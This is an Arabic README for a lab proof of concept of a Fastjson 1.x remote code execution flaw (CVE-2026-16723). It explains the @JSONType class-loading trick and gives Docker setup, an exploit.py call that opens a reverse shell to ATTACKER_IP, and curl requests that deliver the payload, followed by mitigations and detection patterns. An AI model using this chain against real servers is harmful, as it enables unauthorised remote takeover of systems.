
إثبات مفهوم للاستغلال الخاص بـ CVE-2026-16723، وهو ثغرة تنفيذ تعليمات برمجية عن بُعد في Fastjson 1.x عبر @JSONType، مع أداة لبناء ملف JAR للحمولة ومستمع reverse-shell.
★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★
CVE-2026-16723 هي ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) في Fastjson 1.x (1.2.68 – 1.2.83). عندما يقوم Fastjson بتحليل JSON يتحكم فيه المهاجم، يتم تحويل قيمة
@typeالمُصمَّمة إلى بحث عن مورد فئة داخلcheckAutoType. في ملف Spring Boot التنفيذي fat-JAR، يقوم محمّل الفئات بحلّ ذلك الاسم كعنوان URL من نوعjar:http://ويجلب ملف JAR بعيد (SSRF)، ثم يحمّل فئة تحمل تعليق@JSONTypeرغم أن AutoType معطّل. ولأن JDK / Tomcat الحديث يرفض الاسم الثنائيjar:http://، فإن النسخة الموثوقة تزرع ملف JAR في ذاكرة JVM المؤقتة وتعيد قراءته عبرjar:file:/proc/self/fd/N، فتُعرَّف الفئة ويُنفَّذ مُهيّئها الساكن، مما يمنح تنفيذ التعليمات البرمجية. يبقى AutoType معطّلاً ولا حاجة إلى أي gadget في مسار الفئات.
| الفئة | الإصدار |
|---|---|
| قابل للاستغلال | Fastjson 1.2.68 ≤ الإصدار ≤ 1.2.83 |
| مُرقَّع | الترقية إلى Fastjson 2.x (لا يوجد إصدار 1.x مُصلَح) |
هدف المختبر هو متجر عام (Northwind Store) تربط واجهة البحث الخاصة به
جسم الطلب باستخدام Fastjson. كل شيء هو الإعداد الافتراضي لـ Fastjson:
SafeMode معطّل، AutoType معطّل، ومُحزَّم كـ Spring Boot fat-JAR.
docker build -t cve-2026-16723 .
docker run -d --name cve-2026-16723 -p 8080:8080 cve-2026-16723
| الشرط المسبق | الحالة في هذا المختبر |
|---|---|
| Fastjson 1.2.68 – 1.2.83 | 1.2.83 |
| Spring Boot fat-JAR تنفيذي | نعم |
| مسار تحليل JSON بدون مصادقة | POST /api/products/search |
| SafeMode / AutoType | افتراضي (كلاهما معطّل) |
يعمل المهاجم والهدف على نفس شبكة Docker الجسرية، لذا يصل الهدف إلى المهاجم كاتصال صادر (لا يُنشر أي منفذ إضافي).
curl http://TARGET_IP:8080/api/health
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' -d '{"keyword":"keyboard"}'
يقوم exploit.py ببناء ملف JAR الحمولة، وتقديمه، وبدء مستمع، وطباعة
جسم الطلب. لا يُطلب سوى عنوان الاستدعاء.
python3 attacker/exploit.py --lhost ATTACKER_IP --lport 4444
الصق الجسم المطبوع في نقطة نهاية البحث (Burp Repeater أو curl) ثم
أرسله. طلب البحث ميزة عادية؛ فقط جسم JSON الخاص به مُصمَّم.
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' --data-binary @body.json
تُنفَّذ التعليمات البرمجية بصلاحيات حساب الخدمة. استرجع العَلَم عبر الصدفة التي حصلت عليها:
whoami
com.alibaba:fastjson:1.2.83_noneautotype-Dfastjson.parser.safeMode=true@type في JSON التي تحتوي على أنماط jar:http أو jar:file / /proc/self/fd